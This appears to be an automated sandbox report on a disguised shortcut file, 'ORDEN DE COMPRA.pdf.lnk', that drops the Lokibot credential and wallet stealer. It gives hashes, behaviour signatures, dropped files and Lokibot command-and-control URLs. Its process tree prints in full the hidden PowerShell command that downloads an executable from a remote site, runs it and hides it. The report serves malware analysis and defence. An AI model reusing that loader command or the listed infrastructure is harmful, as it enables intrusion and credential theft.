Analysis

  • max time kernel
    125s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2024 18:15

General

  • Target

    ORDEN DE COMPRA.pdf.lnk

  • Size

    2KB

  • MD5

    9f96277bb641896447fe5b2ccf4388c3

  • SHA1

    2306e1fc3f45019bbd297e75a1162fe12a6c7f52

  • SHA256

    28557e17cc37aaa0834e1297b0c1345b489e7797daaa8ddf4feeab41cfc92934

  • SHA512

    570cdcb66469ca4f01e5a792b7242eaa947801402be0a9a9ce5adf9eb3f688860bba4bb3f03d3d54b53e0e9c4d4efd5a140ec93ccc31658c6e45ef351be99e70

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe

Extracted

Family

lokibot

C2

http://naturealmikaly.sytes.net:4409/aujfygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEn Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
        "C:\Users\Admin\AppData\Local\Temp\cisencb.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3648
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          PID:1320
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:3196
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          PID:3040

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3ir1v5f.tca.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cisencb.exe

    Filesize

    273KB

    MD5

    bf5fe4b1c9bbb595dc629e682b855f92

    SHA1

    c2a6edba232a4c56e2c42581380fac5805ba44f7

    SHA256

    9d2c842f90bb71d27073bc5c3399bab03bd00f3968c604835617b2bf0d59f0d3

    SHA512

    cef15770970546152047c458611a25fa6cfa717ece5f47da84924f4f3f1e91943382ff7131c43a6a522b345f9438f3145fe17b30c61c2b82dedc2e5068bb5cb4

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3442511616-637977696-3186306149-1000\0f5007522459c86e95ffcc62f32308f1_5ab270f5-f3a9-47d1-97d7-bbd50acf9955

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3442511616-637977696-3186306149-1000\0f5007522459c86e95ffcc62f32308f1_5ab270f5-f3a9-47d1-97d7-bbd50acf9955

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • memory/1320-32-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1320-35-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2180-12-0x000001EA61590000-0x000001EA615B2000-memory.dmp

    Filesize

    136KB

  • memory/2180-13-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

    Filesize

    10.8MB

  • memory/2180-14-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

    Filesize

    10.8MB

  • memory/2180-24-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

    Filesize

    10.8MB

  • memory/2180-2-0x00007FFA8A943000-0x00007FFA8A945000-memory.dmp

    Filesize

    8KB

  • memory/3648-26-0x0000000005510000-0x0000000005516000-memory.dmp

    Filesize

    24KB

  • memory/3648-30-0x000000000ABD0000-0x000000000AC62000-memory.dmp

    Filesize

    584KB

  • memory/3648-31-0x000000000AAA0000-0x000000000AAA6000-memory.dmp

    Filesize

    24KB

  • memory/3648-29-0x000000000B180000-0x000000000B724000-memory.dmp

    Filesize

    5.6MB

  • memory/3648-28-0x000000000AB30000-0x000000000ABCC000-memory.dmp

    Filesize

    624KB

  • memory/3648-27-0x000000000AA30000-0x000000000AA86000-memory.dmp

    Filesize

    344KB

  • memory/3648-25-0x0000000000BA0000-0x0000000000BEA000-memory.dmp

    Filesize

    296KB